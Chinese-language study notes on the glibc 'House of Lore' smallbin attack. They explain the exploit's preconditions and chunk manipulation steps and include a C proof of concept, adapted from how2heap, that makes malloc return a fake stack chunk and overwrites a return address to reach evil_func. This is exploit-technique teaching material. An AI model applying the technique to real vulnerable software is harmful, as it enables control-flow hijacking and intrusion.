载酒堆学习笔记smallbinAttack-House of Lore

smallbinAttack-House of Lore
本人技术很菜,有错处请大佬们批评指教~
存在于<glibc 2.31版本
【利用条件】
1、堆溢出写,需要写到bk位(不需要写到size!);
2、泄漏fd获得heap基址、泄漏栈基址;
3、不需要edit函数,就算是只有create带edit的情况下也能用;
【漏洞影响】
read限制大小不能够覆盖到retaddr的情况下,导致栈溢出覆盖到retaddr(不能过CANARY)
【原理】
我们需要构建smallbin→块①→块②→块③
这样的结构,其中块②块③都是栈上缓冲区写下的fakechunk
下面是一种构建方法:
1、首先,直接构建以下的结构↓:

可以看到,这个真货①其实是在独自美丽,然后这两个假货②③跑过来伸出自己的fd碰瓷er~
2、然后,骚操作来了,现在我们来malloc一个largebin范围的chunk,这一操作有两个意义(一箭双雕):
(1)malloc在尝试从largebin中获得chunk时会触发 malloc_consolidate 使fastbin变成unsortedbin从而获得指向unsortedbin数组元素的fd和bk,如下图↓:

(2)然后,malloc因为在largebin中找不到合适的freechunk又会到unsortedbin中找,这又会触发遍历整理unsortedbin操作使得①这个victim进入到smallbin,而因为②③还没有被①的bk指,所以不算unsortedbin不会被遍历处理到!处理结果如下图↓:

3、最后,通过堆溢出写,使①的bk指向②,这样就形成了smallbin→块①→块②→块③
这样的结构
构架实现后,malloc(victim大小)
执行两次,即可控制到栈上的fakechunk对其进行edit操作,导致栈溢出写
【原理复现】
参考以下的模拟程序↓:
// $ gcc smallbin_test.c -o smallbin_test
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void evil_func(){ puts("you are pwnned!"); }
int main(int argc, char * argv[]){
// 构建①即victim
intptr_t *victim = malloc(100);
intptr_t *victim_chunk = victim-2;//chunk 开始的位置
// 构建②③这两个碰瓷哥
intptr_t* stack_buffer_1[4] = {0};// ②
intptr_t* stack_buffer_2[3] = {0};// ③
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
// 大坝
void *p5 = malloc(1000);
// 把①释放为fastbin,此时①的 fd、bk 为零
free((void*)victim);
// 这时候去申请一个 largebin范围的chunk,于是触发 malloc_consolidate 使之将①变为unsortedbin从而获得fd和bk,然后因为largebin没有匹配项就会导致程序去unsortbin然后去topchunk,而在去unsortedbin的时候会触发遍历处理unsortedbin导致①又被变为smallchunk,而此时②③因为没有被①的bk指而没有被当做unsortedbin处理掉~
void *p2 = malloc(1200);
// 现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向②,这就导致形成了一条①→②→③的smallbin链
victim[1] = (intptr_t)stack_buffer_1;
// 然后申请一个跟victm一样大小的chunk,这样就可以把victim回收变成一个allocated chunk,此时smallbin链中就应该是②→③
void *p3 = malloc(100);// ①
// 此时再malloc 一次,此时重点来了!虽然②的size字段是0,但是在glibc<2.31版本里,取smallbin只看在哪条smallbin链,没有看smallbin的size字段的冗余检查,所以此时被回收取出的是②
char *p4 = malloc(100);// ②
// 这里对②使用edit就可以导致类似栈溢出覆盖ret_Addr的效果
intptr_t sc = (intptr_t)evil_func;
memcpy((p4+40), &sc, 8);
}👆以上代码改编自how to heap~